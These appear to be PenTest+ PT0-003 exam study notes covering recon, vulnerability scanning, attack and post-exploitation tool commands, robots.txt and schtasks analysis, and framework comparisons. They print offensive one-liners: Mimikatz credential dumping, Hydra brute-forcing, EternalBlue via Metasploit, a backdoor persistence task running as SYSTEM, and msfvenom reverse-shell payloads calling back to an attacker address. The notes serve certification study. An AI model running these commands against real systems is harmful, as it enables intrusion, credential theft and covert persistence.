COMMAND & DEEP-DIVE // NOTES

COMPTIA PENTEST+ PT0-003 · TOOL COMMANDS, ARTIFACT ANALYSIS & FRAMEWORK BUCKETS

HANDS-ON RECALL ACROSS ALL 5 DOMAINS

HOW TO USE THIS FILE READ FIRST

This is the **hands-on companion** to the five concept references — the actual commands, real output shapes, and the artifact-analysis skills (robots.txt, schtasks, binary vs text) that performance-based questions lean on. Every deep dive ends with a **bridge** tying it back to the objective and remediation it connects to.

> **CORRECTIONS APPLIED**
> "Empire" is *not* on the PT0-003 objectives — the C2 list is Covenant and Metasploit. The Purdue model is *six numbered levels plus the 3.5 industrial DMZ*, not six flat levels. Both fixed below.

DOMAIN 2 — RECON & ENUMERATION COMMANDS 2.1 / 2.2 / 2.4

TOOL	COMMAND	OUTPUT SHAPE & KEYWORD
Nmap	`nmap -sV -p 80,443 -A example.com`	open ports, service versions, OS guess — `-sV` version, `-A` aggressive, `-Pn` skip discovery
theHarvester	`theHarvester -d example.com -b google,linkedin`	emails, subdomains, hosts from public sources (passive)
Recon-ng	`modules load recon/domains-hosts/brute_hosts`	module framework — workspaces, `use / set / run`
Maltego	GUI: entity → transform "To IP [DNS]"	visual link graph of relationships
Shodan	`shodan search "port:80 apache country:US"`	internet-exposed devices by banner; `vuln:` filter
Wireshark	display filter: `tcp.port == 80`	GUI dissection; tcpdump captures, Wireshark analyses
Aircrack-ng	`airodump-ng wlan0`	BSSID, PWR, cipher, ESSID — the only wireless tool that transmits
Wayback	`curl "http://archive.org/wayback/available?url=example.com"`	historical snapshots — content the org removed

BRIDGE These map to the Domain 2 concept guide. Passive vs active is the axis: theHarvester / Shodan / Wayback query third parties (passive); Nmap and Aircrack-ng transmit (active) and are eliminated by "before the window opens" phrasing.

DOMAIN 3 — VULNERABILITY DISCOVERY COMMANDS 3.1 / 3.2

TOOL	COMMAND	OUTPUT SHAPE & KEYWORD
OpenVAS / Nessus	openvas-start → create target → scan	CVE, severity, remediation. Nessus = commercial; OpenVAS = open-source
Nikto	`nikto -h example.com`	web-server misconfig, outdated software, exposed dirs — noisy
sqlmap	`sqlmap -u "http://example.com?id=1" --dbs`	confirms SQLi, dumps DB names/tables — the SQLi answer, always

BRIDGE Scanner output is a hypothesis (3.2). A returned CVE from an unauthenticated scan may be a false positive if the vendor back-ported the patch — validate before reporting. Prioritise confirmed findings with EPSS + exploit availability, not CVSS alone.

DOMAIN 4 — ATTACK COMMANDS 4.2 / 4.3 / 4.5 / 4.6 / 4.8

TOOL	COMMAND	KEYWORD
Metasploit	`use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS ...; exploit`	known-service exploitation, session on success
Hydra	`hydra -l admin -P pass.txt host http-post-form "..."`	**online** login brute-force against a live service
John / Hashcat	`hashcat -m 0 -a 0 hashes.txt rockyou.txt`	**offline** cracking — you already hold the hash file
Burp Suite	Proxy → Intercept → Repeater	the generalist — CSRF, IDOR, JWT, XSS, SSRF, session
Pacu / Prowler	pacu → iam__enum_permissions	Pacu = AWS exploitation; Prowler = posture auditing
SET	setoolkit → website attack vectors	phishing site cloning; older all-purpose toolkit
Gophish	GUI: create campaign → send test	campaign management — opens/clicks/submits tracked
BeEF	hook via `<script src="../hook.js">`	browser hooking once the victim loads the page

> **ONLINE VS OFFLINE — THE TESTED SPLIT**
> **Hydra / Medusa** = online, against a live service, trips lockout. **John / Hashcat** = offline, against a captured hash file, no lockout. If the scenario says "you captured the NTLM hashes", the answer is a cracker, not Hydra.

BRIDGE Evilginx (not shown here) is the MFA-bypass upgrade over Gophish — it captures live session tokens. Remediation for the whole 4.8 family is user training (operational, 1.5).

DOMAIN 5 — POST-EXPLOITATION COMMANDS 5.2 / 5.4

TOOL	COMMAND	KEYWORD
Mimikatz	`sekurlsa::logonpasswords`	dump NTLM hashes / tickets from LSASS memory
Impacket	`psexec.py domain/user:pass@10.0.0.1`	remote exec over SMB; the Python "glue" tool
Proxychains	`proxychains nmap -sT 10.0.2.1`	route a specific tool's traffic through a compromised host
Covenant	`create listener → deploy agent`	.NET C2 tasking (Metasploit is the other C2 answer)

CORRECTION

Empire is not on the PT0-003 objectives — the C2 answers are **Covenant** and **Metasploit**. For pivoting, remember **sshuttle** (transparent VPN-like tunnel over SSH) vs **Proxychains** (per-tool proxy chain).

BRIDGE Cracking with `-sT` (TCP connect) through Proxychains is required — half-open SYN scans don't work through a proxy chain. Mimikatz here is about using dumped creds to pivot (5.2), vs escalating locally (4.4).

DEEP DIVE — ROBOTS.TXT ANALYSIS 2.2 MANUAL ENUMERATION

Purpose: tells search engines what *not* to index. Reality: a curated map of what the org considers sensitive — every `Disallow` is a lead.

ENTRY	WHY IT'S INTERESTING	WHAT TO EXPECT ON THE EXAM
`/admin, /administrator`	Admin panels	high-value target — test directly with `curl`
`/wp-admin, /wpadmin`	WordPress admin	**the WordPress tell** → pivot to WPScan (4.5)
`/.git, /.svn, /.hg`	Exposed source control	**critical** — whole source tree recoverable (`wget -r .../.git/`)
`/backup, /db, /sql`	Backup / database dumps	try `backup.zip`, `database.sql` variants
`/config, /.env`	Config / environment vars	credentials and API keys in the clear → secrets (2.2, 1.5)
`/api/, /api/v1/, /graphql`	API endpoints	undocumented surface → Postman / API abuse (4.5)
`/dev, /test, /staging`	Non-production content	weaker controls, real data (the staging-validity issue, 1.1)

EXAM SCENARIOS

"What should you investigate first?" → **/.git** (source exposure) or **/api/keys** (credentials) over a plain admin panel. "Which entry indicates WordPress?" → **/wp-admin**. Also note: a `User-agent` block for `sqlmap` / `nikto` / `nmap` means the site is trying to block *scanners* — a fingerprint of a defended target.

BRIDGE robots.txt is **manual enumeration** in 2.2, alongside sitemap.xml and plugin fingerprinting. It's passive (you're reading a published file) and it feeds directory enumeration — the difference being robots.txt *hands you* the paths a wordlist would have to guess.

DEEP DIVE — SCHTASKS PERSISTENCE 5.1 ESTABLISH PERSISTENCE

Scheduled tasks are the classic Windows persistence mechanism — and the classic disguise is a fake "Windows Update" task running a backdoor.

```
# anatomy of a malicious persistence task
schtasks /create /tn "Windows Update"     # task name (the disguise)
                 /tr "cmd.exe /c C:\temp\backdoor.exe"  # what runs
                 /sc ONSTART            # trigger: at boot
                 /ru SYSTEM             # run as = highest privs
```

PARAMETER	MEANING	RED-FLAG VALUE
/tn	Task name (what you see)	fake "Windows Update", "Windows Defender", generic "Service"
/tr	What actually executes	`cmd.exe /c`, `powershell -enc`, `rundll32`, paths in `\temp\` or `\ProgramData\`
/sc	Schedule / trigger	ONSTART (boot), ONLOGON (login), DAILY
/ru	Run-as identity	**SYSTEM** = highest privileges
/rl	Run level	HIGHEST
/f	Force, overwrite existing	suppresses the prompt

EXAM PATTERNS

"Maintain access after reboot" → the **schtasks ... /sc ONSTART /ru SYSTEM** option (over `net user /add`, a Run key, or `wmic process call create`, which don't survive reboot the same way). "What is this command doing?" with an encoded-PowerShell download cradle → **persistence disguised as a system task**. Detection: `schtasks /query /fo LIST /v | findstr SYSTEM`.

BRIDGE Scheduled tasks / cron jobs are the first-listed 5.1 persistence technique. The download-cradle variant chains to a C2 framework (Covenant/Metasploit). Cleanup in 5.4 requires *removing the task you created* — a named obligation, not optional.

DEEP DIVE — BINARY VS TEXT FILES 4.X PAYLOADS / "CONVERTS TO BINARY"

- **Binary** — compiled, not human-readable, contains null bytes, has a header (`MZ` Windows PE, `ELF` Linux). Runs natively, no interpreter needed.
- **Text** — human-readable source/script (Python, Bash, PowerShell), interpreted not compiled, editable in a plain editor.
- **Identify with** `file shell.exe` → "PE32+ executable"; `file payload` → "ELF 64-bit".

TOOL	CREATES
msfvenom -f exe/dll/elf	binary payloads
gcc code.c -o bin	C binary
PyInstaller / py2exe	Python → EXE
go build	Go binary
ps2exe	PowerShell → EXE

```
# msfvenom: -f decides binary vs text
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe > shell.exe   # BINARY
msfvenom -p python/meterpreter/reverse_tcp   LHOST=10.0.0.5 LPORT=4444 -f py  > shell.py    # TEXT
```

EXAM PATTERNS

"Which msfvenom command creates a **binary** payload?" → the one with `-f exe` (or dll/elf), not `-f py` / `-f raw`. "Run a Python exploit on Windows with no Python installed" → **compile to binary** with PyInstaller/py2exe. "Bypass text-based filters" → **binary format**. When the exam says "converts to binary" think: compilation, executable output, machine code, not human-readable.

BRIDGE Why it matters offensively: binaries are easier to pack, encrypt, and obfuscate for **AV/EDR evasion** (4.4 circumventing security tools), and they run without an interpreter on the target — useful when dropping a payload via a USB drop (3.3) or a schtasks cradle (5.1).

FRAMEWORK BUCKETS 1.3 COMPARE & CONTRAST

Mnemonic: **PAM'S WILTRM** — **P**entest methods, **A**dversary views, **W**eb/mobile standards, **I**CS **L**ayers, **T**hreat **R**isk **M**odels. Sort by bucket first, then the "unique hook".

FRAMEWORK	BUCKET	UNIQUE HOOK / WHAT TO EXPECT
OSSTMM	Pentest method	metrics-driven, five channels (human, physical, wireless, comms, data); measures "what is" — RAV scoring
CREST	Pentest method	certification & tester competence — "is this firm qualified", not "how to test"
PTES	Pentest method	seven phases, pre-engagement → reporting; the hands-on execution standard
MITRE ATT&CK	Adversary view	TTP matrix; tactics = objective, techniques = method; emulation & detection gaps
OWASP Top 10	Web/mobile std	awareness list, not a methodology
OWASP MASVS	Web/mobile std	mobile verification levels L1 / L2 / R
Purdue model	ICS layers	**L0–L5 + L3.5 industrial DMZ**; L0/L1 carry physical safety risk
DREAD	Threat risk	scores & ranks threats 1–10 across five factors
STRIDE	Threat risk	identifies threat *types*; each maps to a violated property
OCTAVE	Threat risk	organizational, asset-driven, self-directed by the org's own staff

THE THREE-WAY THREAT-MODEL SPLIT

STRIDE finds threats (six types → six violated properties). **DREAD** rates them (numeric ranking). **OCTAVE** assesses the organization (asset-based, self-directed). Match the verb in the stem: identify / rate / assess.

BRIDGE This is objective 1.3. Note the corrected Purdue count — six numbered levels *plus* the 3.5 DMZ. Not on the PT0-003 list at all: ISSAF, NIST SP 800-115, OWASP WSTG/FSTM — don't spend time on them.